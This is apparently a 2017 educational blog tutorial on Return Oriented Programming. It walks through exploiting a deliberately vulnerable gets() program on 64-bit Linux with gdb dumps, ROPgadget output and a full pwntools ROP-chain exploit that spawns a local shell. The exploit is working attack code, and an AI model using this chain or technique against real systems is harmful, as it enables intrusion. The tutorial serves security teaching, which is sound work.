Posted on August, 2017


Return Oriented Programming


In order to understand this article, you need to know the basics of buffer overflow and the different protections that exist against this type of attack. In this article we are going to exploit a 64 bits buffer overflow, and at the same time defeat the ASLR and the NX bit protection.

So first, you have to enable the ASLR

ROPchain_article$ sudo echo '2' > /proc/sys/kernel/randomize_va_space

Here is the vulnerable program

#include<stdio.h>
    #include<string.h>

    void vuln(){

            char *vulnbuff[16];

            gets(vulnbuff);
    }


    int main(){

            printf("vulnerable function\n");
            vuln();
            printf("Never return\n");

    return 0;

    }
    

As you can see, this program is vulnerable. In fact the gets() function did not check the boundaries of the destination buffer. We are not going to be disturbed by null bytes because of gets() function.

Then the first thing we need to do is to find in stack the return address of the main() function during the vuln() execution. Let’s explore the stack with gdb

ROPchain_article$ gdb -q vuln
    Reading symbols from vuln...(no debugging symbols found)...done.
    (gdb) disas main
    Dump of assembler code for function main:
       0x0000000000400fd4 <+0>: push   %rbp
       0x0000000000400fd5 <+1>: mov    %rsp,%rbp
       0x0000000000400fd8 <+4>: mov    $0x487b44,%edi
       0x0000000000400fdd <+9>: callq  0x407c60 <puts>
       0x0000000000400fe2 <+14>:    mov    $0x0,%eax
       0x0000000000400fe7 <+19>:    callq  0x400fbe <vuln>
       0x0000000000400fec <+24>:    mov    $0x487b58,%edi
       0x0000000000400ff1 <+29>:    callq  0x407c60 <puts>
       0x0000000000400ff6 <+34>:    mov    $0x0,%eax
       0x0000000000400ffb <+39>:    pop    %rbp
       0x0000000000400ffc <+40>:    retq
    End of assembler dump.
    (gdb) disas vuln
    Dump of assembler code for function vuln:
       0x0000000000400fbe <+0>: push   %rbp
       0x0000000000400fbf <+1>: mov    %rsp,%rbp
       0x0000000000400fc2 <+4>: add    $0xffffffffffffff80,%rsp
       0x0000000000400fc6 <+8>: lea    -0x80(%rbp),%rax
       0x0000000000400fca <+12>:    mov    %rax,%rdi
       0x0000000000400fcd <+15>:    callq  0x407a70 <gets>
       0x0000000000400fd2 <+20>:    leaveq
       0x0000000000400fd3 <+21>:    retq
    End of assembler dump.
    (gdb)
    

Let’s put a breakpoint before and after the gets function at address 0x0000000000400fcd.

Keep in mind that the vuln() function will return just after the call instruction into the main function , so the return address will be 0x0000000000400fec.

(gdb) b *0x0000000000400fcd
    Breakpoint 1 at 0x400fcd
    (gdb) b *0x0000000000400fd2
    Breakpoint 2 at 0x400fd2
    (gdb) r
    Starting program: /home/reglisse/Documents/code/exploit/ROPchain_article/vuln
    vulnerable function

    Breakpoint 1, 0x0000000000400fcd in vuln ()
    (gdb)
    

By exploring the stack we can retrieve the return address at 0x7fffffffe158

Breakpoint 1, 0x0000000000400fcd in vuln ()
    (gdb) x/100wx $sp
    0x7fffffffe0d0: 0x00000014  0x00000000  0xf7ffa000  0x00007fff
    0x7fffffffe0e0: 0x00401640  0x00000000  0x00409a33  0x00000000
    0x7fffffffe0f0: 0x00000014  0x00000000  0x0000000a  0x00000000
    0x7fffffffe100: 0x00487b44  0x00000000  0x0040ad75  0x00000000
    0x7fffffffe110: 0x006b42a0  0x00000000  0x0040b503  0x00000000
    0x7fffffffe120: 0x006b42a0  0x00000000  0x00000013  0x00000000
    0x7fffffffe130: 0x00487b44  0x00000000  0x00407da2  0x00000000
    0x7fffffffe140: 0x004002b0  0x00000000  0xffffe160  0x00007fff
    0x7fffffffe150: 0xffffe160  0x00007fff  0x00400fec  0x00000000
    0x7fffffffe160: 0x006b3fa0  0x00000000  0x004011c0  0x00000000
    0x7fffffffe170: 0x00000000  0x00000000  0x00000000  0x00000001
    0x7fffffffe180: 0xffffe248  0x00007fff  0x00400fd4  0x00000000
    0x7fffffffe190: 0x004002b0  0x00000000  0xf59b902a  0x8daec715
    0x7fffffffe1a0: 0x00000000  0x00000000  0x00401640  0x00000000
    0x7fffffffe1b0: 0x004016d0  0x00000000  0x00000000  0x00000000
    0x7fffffffe1c0: 0x483b902a  0x7251383c  0xa835902a  0x8daec743
    0x7fffffffe1d0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe1e0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe1f0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe200: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe210: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe220: 0x00000000  0x00000000  0x00400ec7  0x00000000
    0x7fffffffe230: 0xffffe238  0x00007fff  0x00000000  0x00000000
    0x7fffffffe240: 0x00000001  0x00000000  0xffffe4f7  0x00007fff
    0x7fffffffe250: 0x00000000  0x00000000  0xffffe533  0x00007fff

    

Then we can see the ‘AAAAA…’ input in the stack. (0x41 values)

Breakpoint 2, 0x0000000000400fd2 in vuln ()
    (gdb) x/100wx $sp
    0x7fffffffe0d0: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe0e0: 0x41414141  0x00004141  0x00409a33  0x00000000
    0x7fffffffe0f0: 0x00000014  0x00000000  0x0000000a  0x00000000
    0x7fffffffe100: 0x00487b44  0x00000000  0x0040ad75  0x00000000
    0x7fffffffe110: 0x006b42a0  0x00000000  0x0040b503  0x00000000
    0x7fffffffe120: 0x006b42a0  0x00000000  0x00000013  0x00000000
    0x7fffffffe130: 0x00487b44  0x00000000  0x00407da2  0x00000000
    0x7fffffffe140: 0x004002b0  0x00000000  0xffffe160  0x00007fff
    0x7fffffffe150: 0xffffe160  0x00007fff  0x00400fec  0x00000000
    0x7fffffffe160: 0x006b3fa0  0x00000000  0x004011c0  0x00000000
    0x7fffffffe170: 0x00000000  0x00000000  0x00000000  0x00000001
    0x7fffffffe180: 0xffffe248  0x00007fff  0x00400fd4  0x00000000
    0x7fffffffe190: 0x004002b0  0x00000000  0xf59b902a  0x8daec715
    0x7fffffffe1a0: 0x00000000  0x00000000  0x00401640  0x00000000
    0x7fffffffe1b0: 0x004016d0  0x00000000  0x00000000  0x00000000
    0x7fffffffe1c0: 0x483b902a  0x7251383c  0xa835902a  0x8daec743
    0x7fffffffe1d0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe1e0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe1f0: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe200: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe210: 0x00000000  0x00000000  0x00000000  0x00000000
    0x7fffffffe220: 0x00000000  0x00000000  0x00400ec7  0x00000000
    0x7fffffffe230: 0xffffe238  0x00007fff  0x00000000  0x00000000
    0x7fffffffe240: 0x00000001  0x00000000  0xffffe4f7  0x00007fff
    0x7fffffffe250: 0x00000000  0x00000000  0xffffe533  0x00007fff
    (gdb)
    

So in order to reach the return address we need to inject 136 junk bytes (a.k.a “A” or “B” or.. as you want)

But… If we have a look into the maps file we can see that the stack is not executable, so we can’t inject a shellcode and redirect the execution flow into it. Furthermore the ASLR is active.

reglisse@Reglisse:~$ cat /proc/6992/maps
    00400000-004b4000 r-xp 00000000 08:05 2367815                            /home/reglisse/Documents/code/exploit/ROPchain_article/vuln
    006b3000-006b6000 rw-p 000b3000 08:05 2367815                            /home/reglisse/Documents/code/exploit/ROPchain_article/vuln
    006b6000-006db000 rw-p 00000000 00:00 0                                  [heap]
    7ffff7ffa000-7ffff7ffb000 rw-p 00000000 00:00 0
    7ffff7ffb000-7ffff7ffd000 r-xp 00000000 00:00 0                          [vdso]
    7ffff7ffd000-7ffff7fff000 r--p 00000000 00:00 0                          [vvar]
    7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    

As we know the ASLR affects the stack and the heap, but not the .text section. If you take a look at the maps file above you can see that the .text region is also executable. So, the idea is to return to this section and execute pieces of instructions. In order to get a shell we need to use the syscall execve.

Here is the description of the register values for calling execve (64 bits) and launching a shell.

RAX register must be 0x3B (execve).
RDI register must point on the “/bin/sh” value into the data section.
RSI register must point on NULL
RDX register must also point on NULL

So in order to push all these values into registers, all instructions into the data section must end with a “return”, otherwise the redirection will fail.

The picture below will explain how it works:

Now, we are searching for these gadgets in the memory using ROPgadget.

ROPchain_article$ ROPgadget --binary vuln | grep "pop rsi"
    .
    .
    .
    0x00000000004016c7 : pop rsi ; ret
    

You can get the data section using this command

ROPchain_article$ size -A -x vuln
    vuln  :
    section                       size       addr
    .note.ABI-tag                 0x20   0x400190
    .note.gnu.build-id            0x24   0x4001b0
    .rela.plt                     0xd8   0x4001d8
    .init                         0x1a   0x4002b0
    .plt                          0x90   0x4002d0
    .text                      0x86b74   0x400360
    __libc_freeres_fn            0xb97   0x486ee0
    __libc_thread_freeres_fn      0xa8   0x487a80
    .fini                          0x9   0x487b28
    .rodata                    0x1ea28   0x487b40
    __libc_subfreeres             0x58   0x4a6568
    __libc_atexit                  0x8   0x4a65c0
    __libc_thread_subfreeres       0x8   0x4a65c8
    .eh_frame                   0xd0ec   0x4a65d0
    .gcc_except_table             0xc3   0x4b36bc
    .tdata                        0x20   0x6b3e48
    .tbss                         0x30   0x6b3e68
    .init_array                   0x10   0x6b3e68
    .fini_array                   0x10   0x6b3e78
    .jcr                           0x8   0x6b3e88
    .data.rel.ro                  0xe4   0x6b3ea0
    .got                          0x70   0x6b3f88
    .data                       0x1b10   0x6b4000
    .bss                        0x2218   0x6b5b40
    __libc_freeres_ptrs           0x30   0x6b7d58
    .comment                      0x39        0x0
    Total                      0xb751e

    

Then,

/ROPchain_article$ ROPgadget --binary vuln | grep "pop rax"
    0x00000000004315fd : pop rax ; ret

    ROPchain_article$ ROPgadget --binary vuln | grep "mov qword ptr"
    0x000000000045f5e1 : mov qword ptr [rsi], rax ; ret

    ROPchain_article$ ROPgadget --binary vuln | grep "pop rdx"
    0x0000000000432e75 : pop rdx ; ret

    ROPchain_article$ ROPgadget --binary vuln | grep "xor rax"
    0x000000000041910f : xor rax, rax ; ret

    ROPchain_article$ ROPgadget --binary vuln | grep "add rax"
    0x0000000000453ad0 : add rax, 1 ; ret

    ROPchain_article$ ROPgadget --binary vuln | grep "syscall"
    0x0000000000400417 : syscall
    

Once we have all the gadgets we just need to build the ROP chain.
Here is my exploit,

#!/usr/bin/env python2
    from pwn import *
    from struct import pack

    #process
    r = process("./vuln")

    # Padding goes here
    p = 'A'*136

    p += pack('<Q', 0x00000000004016c7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b4000) # @ .data
    p += pack('<Q', 0x00000000004315fd) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000045f5e1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004016c7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b4008) # @ .data + 8
    p += pack('<Q', 0x000000000041910f) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000045f5e1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004015ab) # pop rdi ; ret
    p += pack('<Q', 0x00000000006b4000) # @ .data
    p += pack('<Q', 0x00000000004016c7) # pop rsi ; ret
    p += pack('<Q', 0x00000000006b4008) # @ .data + 8
    p += pack('<Q', 0x0000000000432e75) # pop rdx ; ret
    p += pack('<Q', 0x00000000006b4008) # @ .data + 8
    p += pack('<Q', 0x000000000041910f) # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000453ad0) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000400417) # syscall

    #print p

    r.sendline(p)
    r.interactive()
    

Demo

reglisse@Reglisse:~/Documents/code/exploit/ROPchain_article$ ./exploit.py
    [+] Starting local process './vuln': pid 24791
    [*] Switching to interactive mode
    vulnerable function
    $
    
Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com